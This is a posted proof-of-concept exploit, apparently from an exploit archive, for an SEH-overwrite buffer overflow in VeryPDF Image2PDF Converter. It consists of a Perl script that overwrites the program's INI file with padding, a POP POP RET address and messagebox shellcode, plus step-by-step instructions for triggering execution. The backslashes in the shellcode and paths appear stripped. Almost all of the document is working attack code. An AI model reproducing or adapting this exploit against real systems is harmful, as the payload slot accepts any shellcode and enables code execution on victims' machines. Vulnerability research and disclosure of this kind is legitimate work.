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VeryPDF Image2PDF Converter SEH Buffer Overflow

Posted on 10 October 2015

#********************************************************************************************************************************************
#
# Exploit Title: VeryPDF Image2PDF Converter SEH Buffer Overflow
# Date: 10-7-2015
# Software Link: http://www.verypdf.com/tif2pdf/img2pdf.exe
# Exploit Author: Robbie Corley
# Platform Tested: Windows 7 x64
# Contact: c0d3rc0rl3y@gmail.com
# Website:
# CVE:
# Category: Local Exploit
#
# Description:
# The title parameter contained within the c:windowsImage2PDF.INI is vulnerable to a buffer overflow.
# This can be exploited using SEH overwrite.
#
# Instructions:
# 1. Run this sploit as-is. This will generate the new .ini file and place it in c:windows, overwriting the existing file
# 2. Run the Image2PDF program, hit [try], file --> add files
# 3. Open any .tif file. Here's the location of one that comes with the installation: C:Program Files (x86)VeryPDF Image2PDF v3.2	rial.tif
# 4. Hit 'Make PDF', type in anything for the name of the pdf-to-be, and be greeted with your executed shellcode ;)
#**********************************************************************************************************************************************

#standard messagebox shellcode.
$shellcode =
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42".
"x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03".
"x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b".
"x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e".
"x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c".
"x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x79x74".
"x65x01x68x6bx65x6ex42x68x20x42x72x6fx89xe1xfe".
"x49x0bx31xc0x51x50xffxd7";

$padding="x90" x 2985;
$seh=pack('V',0x6E4B3045); #STANDARD POP POP RET
$morepadding="x90" x 1096;

open(myfile,'>c:\windows\Image2PDF.INI'); #generate the dummy DWF file

#.ini file header & shellcode
print myfile "[SaveMode]
m_iMakePDFMode=0
m_iSaveMode=0
m_szFilenameORPath=
m_iDestinationMode=0
m_bAscFilename=0
m_strFileNumber=0001
[BaseSettingDlg]
m_bCheckDespeckle=0
m_bCheckSkewCorrect=0
m_bCheckView=0
m_szDPI=default
m_bCheckBWImage=1
[SetPDFInfo]
m_szAuthor=
m_szSubject=
m_szTitle=".$padding."xEBx06x90x90".$seh.$shellcode.$morepadding;

close (myfile); #close the file

 

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